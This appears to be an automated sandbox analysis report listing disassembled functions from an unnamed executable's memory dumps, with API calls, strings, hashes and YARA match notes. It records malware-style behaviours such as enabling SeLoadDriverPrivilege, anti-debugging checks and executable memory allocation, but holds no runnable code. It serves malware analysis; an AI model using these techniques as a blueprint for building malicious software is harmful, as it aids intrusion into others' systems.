Opcode Fuzzy Hash: 5126ed7d76014ce7b1d8cf51a1c447f4a24b0b93feced25e50ebdec9480f8278
Instruction Fuzzy Hash: B921AB70B903015BE768AB68CC01BAB739BAFC4B00F04492DB655CB3D0EEB5CD058395

Function 0040EC40 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 42
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0040EC7E

Strings

tGeKa2B%k9F<3!6T*a>U%*s(fc>&tKC@3cQGhibVLni4I3u>F, xrefs: 0040EC93

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: AllocVirtual
String ID: tGeKa2B%k9F<3!6T*a>U%*s(fc>&tKC@3cQGhibVLni4I3u>F
API String ID: 4275171209-1198268820
Opcode ID: 3b538efd8d0877daca6c9ed735cc7399334d432909fa35e9c6d7cd521d04529b
Instruction ID: 01d0f4e730c09718d0011088008fc3b8b73f4a900f8981e618274441f709c89d
Opcode Fuzzy Hash: 3b538efd8d0877daca6c9ed735cc7399334d432909fa35e9c6d7cd521d04529b
Instruction Fuzzy Hash: 9EF046B5A846203BF22157258C0AFAF7E68CB84B50F544528FE046A2C0D7B89A0182DE

Function 020E1D10 Relevance: 1.6, APIs: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2389523241.00000000020E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 020E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20e1000_ExeFile (356).jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e68c1af996a341e62c7dc9fad1afa9741ab55899a349054725438aa47170f758
Instruction ID: 2e6fd301ebf17f7534a09d365defff99b1cf71b230e4b9bad105493300293e71
Opcode Fuzzy Hash: e68c1af996a341e62c7dc9fad1afa9741ab55899a349054725438aa47170f758
Instruction Fuzzy Hash: 7B41C574A04209AFDB45DF44C494BAEB7B2FB88314F24C199E81A5F355C775EE82DB80

Function 00603670 Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE ref: 00603737

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: af312b1ec1dae1fe8ffa610f702541a8a10efe778052e2765cedc299e6073d92
Instruction ID: 24e887ca475f3adf23278b0115b53cf71ed78e04cb25c141ed464b0cf058d41c
Opcode Fuzzy Hash: af312b1ec1dae1fe8ffa610f702541a8a10efe778052e2765cedc299e6073d92
Instruction Fuzzy Hash: E3119170B902205BD7ACABB49D11A6B36EF9FC8701B40492EF615CB3C1EE75DE018795

Function 00606CD0 Relevance: 1.5, APIs: 1, Instructions: 45libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,33A6B453,00606F05,?,33A6B453,006068AC), ref: 00606D00

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6897006f12fd4eccd63b986342aa29c356f4b010db34f9a2ea8196e787eea503
Instruction ID: 8316a1caecb3a3332ecbfcf7cbee43f1fc0342861388325ed1bcf33923d03931
Opcode Fuzzy Hash: 6897006f12fd4eccd63b986342aa29c356f4b010db34f9a2ea8196e787eea503
Instruction Fuzzy Hash: F5016D307802604BD79CBBB99850A2B36EBAFC8600700992EF509CB3D1EE34DD028B94

Function 020E27B0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 020E27D9

Memory Dump Source

Source File: 00000000.00000002.2389523241.00000000020E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 020E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20e1000_ExeFile (356).jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 50e2670c90142c94f8c7e7d673f8e184b482f4407b322eada844b233527f0048
Instruction ID: 8a5c0b6d5746d6e29bfe7f02e1a8e7b0312f5926780e58f598e1e2b4d1fd5307
Opcode Fuzzy Hash: 50e2670c90142c94f8c7e7d673f8e184b482f4407b322eada844b233527f0048
Instruction Fuzzy Hash: EFD05EB4D40308FFEB00EFA4D90AB9DBBB4EB04701F108165E9056B240E6B02B44DF52

Function 020E1820 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 020E182F

Memory Dump Source

Source File: 00000000.00000002.2389523241.00000000020E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 020E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20e1000_ExeFile (356).jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 6a883493564ada025baec0f8d3f97c669d9f11cd6d74832e186b9eca16b2912a
Instruction ID: 3e850c5857471cf67c5a8cfcc649f087763ed4edebc4c8d558f62fc0a5046611
Opcode Fuzzy Hash: 6a883493564ada025baec0f8d3f97c669d9f11cd6d74832e186b9eca16b2912a
Instruction Fuzzy Hash: C5C04C7A55430CEB8B04DF98E894DAB3BADBB8CA10B048948BA1D87200C634F9508BA4

Non-executed Functions

Function 0040F510 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 155processCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 0040F53E
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F548
Process32FirstW.KERNEL32(00000000,?), ref: 0040F58B
CloseHandle.KERNEL32(00000000), ref: 0040F5A2

Part of subcall function 0040E170: GetLastError.KERNEL32 ref: 0040E18D
Part of subcall function 0040E170: FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,00000100,00000100,00000000), ref: 0040E1AE

Strings

CreateToolhelp32Snapshot (of processes), xrefs: 0040F558
, xrefs: 0040F5F7
%d K, xrefs: 0040F6E7
Process32First, xrefs: 0040F594

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: CloseCreateErrorFirstFormatHandleLastMessageNameProcess32SnapshotToolhelp32User
String ID: $%d K$CreateToolhelp32Snapshot (of processes)$Process32First
API String ID: 3266005361-2221559773
Opcode ID: 5abc778807c62ae2baa570d19bc32579730fa3d8dd42b44df11fc9701d9f20bb
Instruction ID: 63f366d3fdf1a23c1a20b758398628cdb4654b08413e4f9ed28baa702ff12125
Opcode Fuzzy Hash: 5abc778807c62ae2baa570d19bc32579730fa3d8dd42b44df11fc9701d9f20bb
Instruction Fuzzy Hash: 6251B671504300ABD324AB64DC52FEB73E8EF84758F44493EF589922C1EB7C9948879B

Function 0040E220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0040E22E
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 0040E23B
LookupPrivilegeValueW.ADVAPI32(00000000,SeLoadDriverPrivilege,?), ref: 0040E24D
AdjustTokenPrivileges.ADVAPI32 ref: 0040E28B

Strings

SeLoadDriverPrivilege, xrefs: 0040E246

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeLoadDriverPrivilege
API String ID: 2349140579-497486668
Opcode ID: cffa3139d4f1966d0e1b8d4b561fce07a712f7e5228b86654aafc6df663748c5
Instruction ID: 6ea790c7a31b1ba1ad77907437152988263291b3601ce40a83fb03ebe5ecb5a6
Opcode Fuzzy Hash: cffa3139d4f1966d0e1b8d4b561fce07a712f7e5228b86654aafc6df663748c5
Instruction Fuzzy Hash: D301DAB4548301AFD704DF50C999F9BBBE4AB8CB08F40891DF58A862A0E774E948CB56

Function 004100FB Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041212A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041213F
UnhandledExceptionFilter.KERNEL32(0041989C), ref: 0041214A
GetCurrentProcess.KERNEL32(C0000409), ref: 00412166
TerminateProcess.KERNEL32(00000000), ref: 0041216D

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 6f2c9a2ca4667ff0c482e712aad0c8141d9414460f1110707eeb279986343969
Instruction ID: b5dc470c48336d2cad9fc5f7ad5caf64c585ac90b15cfe1187e4ee1c5b5d9eed
Opcode Fuzzy Hash: 6f2c9a2ca4667ff0c482e712aad0c8141d9414460f1110707eeb279986343969
Instruction Fuzzy Hash: 8C21DBB4911204EFD700DF69EC896C63BB4BB6C315F50803AE90A87372E7B4598A8F1D

Function 0040E170 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0040E18D
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,00000100,00000100,00000000), ref: 0040E1AE

Strings

WARNING: %s failed with error %d (%s), xrefs: 0040E1F4

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID: WARNING: %s failed with error %d (%s)
API String ID: 3479602957-1953342023
Opcode ID: b598ef8f7daf12207a35918aebcbaa5f324a21470e7471301164a79c2446e67a
Instruction ID: 71bfe3ff1a5da696a3addf6ac62f14f1fc4c04e671a446e7e169288bb51f98c2
Opcode Fuzzy Hash: b598ef8f7daf12207a35918aebcbaa5f324a21470e7471301164a79c2446e67a
Instruction Fuzzy Hash: 1201267160430066E7249B12DC86BFB3BA9EF8A710F504C3AF555CA1D0E6749890C29E

Function 006063F0 Relevance: 4.3, Strings: 3, Instructions: 560COMMON

Download Yara Rule

Strings

lmu/, xrefs: 00606C24
lmu/, xrefs: 00606B42
*', xrefs: 0060665D

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID: *'$lmu/$lmu/
API String ID: 0-636906075
Opcode ID: 9225c70673361e4e4156f0746dad4bc534e091efd2a74c1fef8709565fb512f5
Instruction ID: 736527d0488f6f1c7e8dcc17fe454a9d0596978e8c93251d9c5221ff88c726d9
Opcode Fuzzy Hash: 9225c70673361e4e4156f0746dad4bc534e091efd2a74c1fef8709565fb512f5
Instruction Fuzzy Hash: 8C022270AC43018BC66CEA78D88956F76D39BC4748F64882EF582C73D1EE24CD668797

Function 005F7F8E Relevance: 4.3, Strings: 3, Instructions: 560COMMON

Download Yara Rule

Strings

lmu/, xrefs: 005F86E0
*', xrefs: 005F81FB
lmu/, xrefs: 005F87C2

Memory Dump Source

Source File: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID: *'$lmu/$lmu/
API String ID: 0-636906075
Opcode ID: b7524a3de83cd4a76f4d447deb268b03eed86ef20e49021a3d0791e93a30b770
Instruction ID: bfc592a59e1dac49656133326e38a73f7955ef2d5ca8e75a8a8e25ffb51373d0
Opcode Fuzzy Hash: b7524a3de83cd4a76f4d447deb268b03eed86ef20e49021a3d0791e93a30b770
Instruction Fuzzy Hash: 2502F635A0830E87DA24AA68888913E7ED17BD4750F744D2AF796CB351EE3CCD4587A3

Function 005F98FE Relevance: 4.0, Strings: 3, Instructions: 219COMMON

Download Yara Rule

Strings

Ou, xrefs: 005F99C8
fX, xrefs: 005F9922
DR, xrefs: 005F993A

Memory Dump Source

Source File: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID: DR$Ou$fX
API String ID: 0-261343277
Opcode ID: 9a4cfae2509eada84d4514ed3e752f1f713b4941d1beb8100a69beae9a0044a5
Instruction ID: 540b9bb482925fb2ddd9e8f9f14f804f07e76b9febed83197d8c3a6d9f544a46
Opcode Fuzzy Hash: 9a4cfae2509eada84d4514ed3e752f1f713b4941d1beb8100a69beae9a0044a5
Instruction Fuzzy Hash: AC81A0716087058FD728DF68998563ABAE4BBC4714F00092EF285D7394E7B8D909CB56

Function 005F9C6E Relevance: 3.9, Strings: 3, Instructions: 169COMMON

Download Yara Rule

Strings

m, xrefs: 005F9C9E
Ou, xrefs: 005F9D2E
DR, xrefs: 005F9CA6

Memory Dump Source

Source File: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID: DR$Ou$m
API String ID: 0-902897619
Opcode ID: b62bf488743f1a2059ce3998f655a55e53d780affa885b97e3efcba5522db659
Instruction ID: a52b96af204781e47819a47b9c72ca1cd059e3f14f13794958ca04305cdfbe69
Opcode Fuzzy Hash: b62bf488743f1a2059ce3998f655a55e53d780affa885b97e3efcba5522db659
Instruction Fuzzy Hash: 0861AF71A087068BD718EF68C849A3EBBE5BBD0714F04491DF6D5D7294D7B8C909CB82

Function 00608660 Relevance: 3.9, Strings: 3, Instructions: 160COMMON

Download Yara Rule

Strings

#CH., xrefs: 006087C6
#CH., xrefs: 006087E4
\au , xrefs: 006087EE

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID: #CH.$#CH.$\au
API String ID: 0-122621526
Opcode ID: 82e2cfa5556967d161bd3d2bcdb052a574f9c125b0815518756db8578ac95d5e
Instruction ID: 6eac3d1373298bed3042ed380473540bf717abe695c5f5eba4b693c7a7d5a2c0
Opcode Fuzzy Hash: 82e2cfa5556967d161bd3d2bcdb052a574f9c125b0815518756db8578ac95d5e
Instruction Fuzzy Hash: C241E270B802009FDB6CDBA89C81B7F729BAB94710F54492EB585DB3C5DEA5DD018352

Function 0040E930 Relevance: 3.1, APIs: 2, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00410250: __wcstoi64.LIBCMT ref: 00410246

LdrFindResource_U.NTDLL(00400000,?,00000000), ref: 0040E988
LdrAccessResource.NTDLL(00400000,?,?,?), ref: 0040E9A6

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: AccessFindResourceResource___wcstoi64
String ID:
API String ID: 2704380589-0
Opcode ID: d30840d2d2ead43e04db132799bc46682c7cb9d7c0ce2fb371b64fffc8a1bc2b
Instruction ID: 9141d4ce81294af721937c9894f8c7d92bdb9d8b2fa3c749db9c995ded6ab3af
Opcode Fuzzy Hash: d30840d2d2ead43e04db132799bc46682c7cb9d7c0ce2fb371b64fffc8a1bc2b
Instruction Fuzzy Hash: E511F8B5618301AFC304DF15D851BABBBE4BBC8744F408D2EF48997251D778E9488B96

Function 00607530 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

j>, xrefs: 00607536
_I, xrefs: 00607623

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID: j>$_I
API String ID: 0-1249037685
Opcode ID: 984e086376af8a6a208711bc64dd2d58036b1380d25653babe967f55a3ac1166
Instruction ID: ae283642ad28cf50a73b261e51888c240b41a4820707e652249cb0ae396d4041
Opcode Fuzzy Hash: 984e086376af8a6a208711bc64dd2d58036b1380d25653babe967f55a3ac1166
Instruction Fuzzy Hash: 79A19C71A483028BD75CDF68D94552BB6E6BBC4744F004A2DF5869B390E770EE09CB92

Function 005F90CE Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

_I, xrefs: 005F91C1
j>, xrefs: 005F90D4

Memory Dump Source

Source File: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID: j>$_I
API String ID: 0-1249037685
Opcode ID: 29f85d3dca72841e53796d257874640ed7d86128da8aafbf7407b600ee0fd507
Instruction ID: 853e7df9c4b0a6f7bfa213099c5972a9325ea15a5a17aeb8fc519338bb15832a
Opcode Fuzzy Hash: 29f85d3dca72841e53796d257874640ed7d86128da8aafbf7407b600ee0fd507
Instruction Fuzzy Hash: 36A1D571A087068FC758DF68D54962E7BE5BBC4300F00492DF686AB2A4E778DD09CB92

Function 00413E30 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00013DEE), ref: 00413E35

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 235ea5c9bef6c299f322fcec842cddea2a7dec40c526a528a8edc706dd861580
Instruction ID: 123ae4dee83c8ecde87b64a495cd6158ef4cf236bc87e197f895214c45768a6d
Opcode Fuzzy Hash: 235ea5c9bef6c299f322fcec842cddea2a7dec40c526a528a8edc706dd861580
Instruction Fuzzy Hash: 8C9002B43521005647002B726C295C52D905A4C623B9144B1E409C5054DA554688951E

Function 00601C70 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

Z#, xrefs: 00601C73

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID: Z#
API String ID: 0-2750076499
Opcode ID: cedde206f0f59ecf413341c8fb1e5ddeafa856b9eff8ac45936b31663709639c
Instruction ID: 199c82f012c1b3d585506ab725660c616c4e9c7d21aa09f8ca91788eae1b9eca
Opcode Fuzzy Hash: cedde206f0f59ecf413341c8fb1e5ddeafa856b9eff8ac45936b31663709639c
Instruction Fuzzy Hash: A44187B16483019FC348EF68D84506BB7E6FFD5714F408D2DE49A8B3A0D7B899058F82

Function 005F380E Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

Z#, xrefs: 005F3811

Memory Dump Source

Source File: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID: Z#
API String ID: 0-2750076499
Opcode ID: 48aefe013c6b0e285082495dbe214cf7901ff6248647a73da0f804c683cf7bf0
Instruction ID: a4ef1b2fefedf2e0686fb2c55d4bd8005fd8afe73a7f8fd4a288738e3efc94df
Opcode Fuzzy Hash: 48aefe013c6b0e285082495dbe214cf7901ff6248647a73da0f804c683cf7bf0
Instruction Fuzzy Hash: 20418D71A087059FD308EF64C94502EB7E1BFD5714F408C2DE5D987264D7B89916CF42

Function 00603E40 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

G, xrefs: 00603E80

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID: G
API String ID: 0-2152773504
Opcode ID: 5eefff4cf2e22a7b35d1d0869e14a7a0ca1d29622391eb98c12b28d1863400ce
Instruction ID: aa7a5b408a14f24676e19c11f71732be0c5034c98a190a30652478e543f48e21
Opcode Fuzzy Hash: 5eefff4cf2e22a7b35d1d0869e14a7a0ca1d29622391eb98c12b28d1863400ce
Instruction Fuzzy Hash: B341F1B19093968BD314DF18E18946BB7F5FB80B15F004D5EF4A09A291E3B4DA4CCBA3

Function 005F59DE Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

G, xrefs: 005F5A1E

Memory Dump Source

Source File: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID: G
API String ID: 0-2152773504
Opcode ID: 5eefff4cf2e22a7b35d1d0869e14a7a0ca1d29622391eb98c12b28d1863400ce
Instruction ID: f473f3570c16826d77451b9ecdcd101c455dd3b49d251d2e4a5980bdc96622b6
Opcode Fuzzy Hash: 5eefff4cf2e22a7b35d1d0869e14a7a0ca1d29622391eb98c12b28d1863400ce
Instruction Fuzzy Hash: BB41E2B150939A8BD314DF14E18846BBBE0FB80715F404E5EF5A19B251E3B8DA5CCBA3

Function 005F095E Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4003efdb1b82660489297cf81d9eb3b1a92828f19abc9c79053ce197bdd8e6b4
Instruction ID: fba1ddaebf6ba0661dd4ef5a84b6cd5216cd9576a71e7ab75de673a33984f360
Opcode Fuzzy Hash: 4003efdb1b82660489297cf81d9eb3b1a92828f19abc9c79053ce197bdd8e6b4
Instruction Fuzzy Hash: F5F120B4A01209EFDB04DF94C994BAEBBB1FF48304F248558EA06A7386D775EE41DB50

Function 005F0456 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction ID: 050fbb030783bbccb0c69090dab3363382d2d3d2bf9eeff31fd1a260ac936f65
Opcode Fuzzy Hash: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction Fuzzy Hash: A231D53660434A8FCB10DF18C480936BBE4FF88314F49196DEA9587353D338F9068B91

Function 00604D00 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
